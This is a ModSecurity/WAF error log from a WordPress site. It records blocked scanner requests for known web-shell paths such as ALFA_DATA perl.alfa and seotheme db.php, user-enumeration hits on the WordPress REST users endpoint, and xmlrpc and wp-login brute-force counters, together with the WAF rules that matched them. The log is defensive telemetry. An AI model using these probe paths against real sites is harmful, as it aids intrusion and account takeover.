[Thu May 14 18:33:43.701347 2026] [:error] [pid 47673:tid 47677] [client 2.58.56.137:57727] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlB_CGe4cIn3sh5k0e8wAAAUI"], referer: www.google.com
[Thu May 14 18:33:44.110637 2026] [:error] [pid 11690:tid 11722] [client 2.58.56.137:61736] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlCCnxWuLN8Hptw8kkKwAAANc"], referer: www.google.com
[Thu May 14 18:33:44.111812 2026] [:error] [pid 11690:tid 11702] [client 2.58.56.137:61738] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "agWlCCnxWuLN8Hptw8kkLAAAAMM"]
[Thu May 14 18:33:44.124329 2026] [:error] [pid 47673:tid 47680] [client 2.58.56.137:59065] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agWlCPCGe4cIn3sh5k0e-QAAAUU"]
[Thu May 14 18:33:44.125411 2026] [:error] [pid 11690:tid 11705] [client 2.58.56.137:52257] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "agWlCCnxWuLN8Hptw8kkLQAAAMY"], referer: www.google.com
[Thu May 14 18:33:45.961737 2026] [:error] [pid 11588:tid 11662] [client 2.58.56.137:60649] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlCdUr21rOixkeGKacOAAAAIo"], referer: www.google.com
[Thu May 14 18:33:46.676276 2026] [:error] [pid 11581:tid 11616] [client 2.58.56.137:57284] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlCv0vF48FbzpvQMX6gAAAABM"], referer: www.google.com
[Thu May 14 18:33:48.782102 2026] [:error] [pid 11690:tid 11702] [client 2.58.56.137:54624] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlDCnxWuLN8Hptw8kkSQAAAMM"], referer: www.google.com
[Thu May 14 18:33:48.829810 2026] [:error] [pid 11690:tid 11712] [client 2.58.56.137:49518] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlDCnxWuLN8Hptw8kkTAAAAM0"], referer: www.google.com
[Thu May 14 18:33:50.083996 2026] [:error] [pid 63033:tid 63038] [client 2.58.56.137:52564] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlDlMY49UWn5BpqVbxugAAAQM"], referer: www.google.com
[Thu May 14 18:33:51.252981 2026] [:error] [pid 47721:tid 47730] [client 2.58.56.137:49993] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlD3Emh7_G0hfOa6sAqQAAAYc"], referer: www.google.com
[Thu May 14 18:33:52.144334 2026] [:error] [pid 11588:tid 11671] [client 2.58.56.137:55024] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlENUr21rOixkeGKactQAAAJM"], referer: www.google.com
[Thu May 14 18:33:52.666710 2026] [:error] [pid 11581:tid 11601] [client 2.58.56.137:52998] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlEP0vF48FbzpvQMX6yQAAAAQ"], referer: www.google.com
[Thu May 14 18:33:54.026367 2026] [:error] [pid 47721:tid 47747] [client 2.58.56.137:59475] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlEnEmh7_G0hfOa6sAwAAAAZg"], referer: www.google.com
[Thu May 14 18:33:55.290941 2026] [:error] [pid 11690:tid 11723] [client 2.58.56.137:52287] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlEynxWuLN8Hptw8kkcwAAANg"], referer: www.google.com
[Thu May 14 18:40:45.310377 2026] [:error] [pid 63033:tid 63038] [client 98.130.43.189:57160] [client 98.130.43.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.130.43.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWmrVMY49UWn5BpqVbyoAAAAQM"]
[Thu May 14 18:40:46.962224 2026] [:error] [pid 63033:tid 63049] [client 98.130.43.189:57160] [client 98.130.43.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.130.43.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWmrlMY49UWn5BpqVbyoQAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 19:23:43.144496 2026] [:error] [pid 47673:tid 47695] [client 50.87.144.79:15766] [client 50.87.144.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agWwv_CGe4cIn3sh5k0kPQAAAVQ"]
[Thu May 14 19:48:45.941846 2026] [:error] [pid 11581:tid 11604] [client 43.166.226.57:52586] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agW2nf0vF48FbzpvQMUWxQAAAAc"]
[Thu May 14 20:40:20.724275 2026] [:error] [pid 63033:tid 63053] [client 111.230.233.46:36968] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agXCtFMY49UWn5BpqVYAxwAAARI"]
[Thu May 14 21:34:51.031517 2026] [:error] [pid 11690:tid 11716] [client 103.78.97.230:46221] [client 103.78.97.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.78.97.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agXPeynxWuLN8Hptw8k8QQAAANE"]
[Thu May 14 21:34:52.679758 2026] [:error] [pid 11690:tid 11706] [client 103.78.97.230:46221] [client 103.78.97.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.78.97.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agXPfCnxWuLN8Hptw8k8QgAAAMc"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 22:45:56.315176 2026] [:error] [pid 63033:tid 63048] [client 170.106.72.93:52552] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agXgJFMY49UWn5BpqVYLGgAAAQ0"]
[Thu May 14 23:27:31.636566 2026] [:error] [pid 63033:tid 63036] [client 34.27.114.152:51186] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp41MY49UWn5BpqVYOYwAAAQE"]
[Thu May 14 23:27:35.153966 2026] [:error] [pid 63033:tid 63040] [client 34.27.114.152:51186] [client 34.27.114.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "agXp51MY49UWn5BpqVYOZgAAAQU"]
[Thu May 14 23:27:36.628290 2026] [:error] [pid 63033:tid 63035] [client 34.27.114.152:51186] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp6FMY49UWn5BpqVYOaAAAAQA"]
[Thu May 14 23:27:38.759563 2026] [:error] [pid 11588:tid 11652] [client 34.27.114.152:52444] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp6tUr21rOixkeGKbHlQAAAIA"]
[Thu May 14 23:27:40.644416 2026] [:error] [pid 11588:tid 11660] [client 34.27.114.152:51322] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp7NUr21rOixkeGKbHmgAAAIg"]
[Thu May 14 23:27:42.529814 2026] [:error] [pid 47673:tid 47688] [client 34.27.114.152:65035] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp7vCGe4cIn3sh5k036AAAAU0"]
[Thu May 14 23:27:44.592783 2026] [:error] [pid 47673:tid 47697] [client 34.27.114.152:51219] [client 34.27.114.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.114.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp8PCGe4cIn3sh5k036gAAAVY"]
[Thu May 14 23:27:44.592986 2026] [:error] [pid 47673:tid 47697] [client 34.27.114.152:51219] [client 34.27.114.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.27.114.152, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXp8PCGe4cIn3sh5k036gAAAVY"]
[Thu May 14 23:30:28.471328 2026] [:error] [pid 11690:tid 11712] [client 124.156.226.179:58912] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agXqlCnxWuLN8Hptw8lHFQAAAM0"]
[Thu May 14 23:41:03.829456 2026] [:error] [pid 11588:tid 11663] [client 136.119.232.152:51123] [client 136.119.232.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.232.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXtD9Ur21rOixkeGKbIzQAAAIs"]
[Thu May 14 23:41:07.224560 2026] [:error] [pid 11588:tid 11655] [client 136.119.232.152:51123] [client 136.119.232.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "agXtE9Ur21rOixkeGKbI0QAAAIM"]
[Thu May 14 23:41:08.642269 2026] [:error] [pid 11588:tid 11671] [client 136.119.232.152:51123] [client 136.119.232.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.232.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXtFNUr21rOixkeGKbI0wAAAJM"]
[Thu May 14 23:41:10.594812 2026] [:error] [pid 11581:tid 11606] [client 136.119.232.152:62748] [client 136.119.232.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.232.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXtFv0vF48FbzpvQMVSFQAAAAk"]
[Thu May 14 23:41:12.655116 2026] [:error] [pid 47721:tid 47744] [client 136.119.232.152:58026] [client 136.119.232.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.119.232.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agXtGHEmh7_G0hfOa6s7dgAAAZU"]
[Thu May 14 23:59:06.592300 2026] [:error] [pid 11582:tid 11628] [client 178.62.87.212:53824] [client 178.62.87.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.87.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agXxSvuw2cmFDpGcKhBDkAAAAEM"]
[Thu May 14 23:59:08.234610 2026] [:error] [pid 11582:tid 11627] [client 178.62.87.212:53824] [client 178.62.87.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.87.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agXxTPuw2cmFDpGcKhBDkgAAAEI"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 01:10:44.317608 2026] [:error] [pid 11582:tid 11647] [client 170.79.61.97:58678] [client 170.79.61.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.79.61.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYCFPuw2cmFDpGcKhBHRwAAAFY"]
[Fri May 15 01:10:53.613626 2026] [:error] [pid 11588:tid 11657] [client 170.79.61.97:59160] [client 170.79.61.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.79.61.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYCHdUr21rOixkeGKbTkAAAAIU"]
[Fri May 15 01:11:04.135627 2026] [:error] [pid 47673:tid 47692] [client 170.79.61.97:59520] [client 170.79.61.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.79.61.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYCKPCGe4cIn3sh5k0-4gAAAVE"]
[Fri May 15 01:11:14.668201 2026] [:error] [pid 11588:tid 11667] [client 170.79.61.97:59854] [client 170.79.61.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.79.61.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYCMtUr21rOixkeGKbToAAAAI8"]
[Fri May 15 01:11:25.162497 2026] [:error] [pid 63033:tid 63052] [client 170.79.61.97:60200] [client 170.79.61.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.79.61.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYCPVMY49UWn5BpqVYV9wAAARE"]
[Fri May 15 01:45:25.417861 2026] [:error] [pid 11588:tid 11669] [client 152.228.218.52:36896] [client 152.228.218.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.228.218.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYKNdUr21rOixkeGKbXoQAAAJE"]
[Fri May 15 01:45:27.180387 2026] [:error] [pid 11588:tid 11667] [client 152.228.218.52:36896] [client 152.228.218.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.228.218.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYKN9Ur21rOixkeGKbXpQAAAI8"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 02:19:03.867804 2026] [:error] [pid 47721:tid 47732] [client 103.196.139.76:31395] [client 103.196.139.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.196.139.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYSF3Emh7_G0hfOa6tTYAAAAYk"]
[Fri May 15 02:22:52.295522 2026] [:error] [pid 11581:tid 11615] [client 159.198.74.128:59586] [client 159.198.74.128] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agYS_P0vF48FbzpvQMV1GAAAABI"]
[Fri May 15 02:30:26.024103 2026] [:error] [pid 11690:tid 11723] [client 64.226.120.21:51548] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYUwinxWuLN8Hptw8lYPAAAANg"]
[Fri May 15 02:30:27.711074 2026] [:error] [pid 11690:tid 11701] [client 64.226.120.21:51548] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agYUwynxWuLN8Hptw8lYPQAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri May 15 02:58:00.751550 2026] [:error] [pid 47673:tid 47682] [client 170.245.123.133:35041] [client 170.245.123.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.245.123.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYbOPCGe4cIn3sh5k1GkQAAAUc"]
[Fri May 15 02:58:10.732695 2026] [:error] [pid 11588:tid 11671] [client 170.245.123.133:35375] [client 170.245.123.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.245.123.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYbQtUr21rOixkeGKbepwAAAJM"]
[Fri May 15 02:58:21.120507 2026] [:error] [pid 11588:tid 11657] [client 170.245.123.133:35631] [client 170.245.123.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.245.123.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYbTdUr21rOixkeGKbeqQAAAIU"]
[Fri May 15 02:58:31.797081 2026] [:error] [pid 11582:tid 11630] [client 170.245.123.133:35653] [client 170.245.123.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.245.123.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agYbV_uw2cmFDpGcKhBNdAAAAEU"]
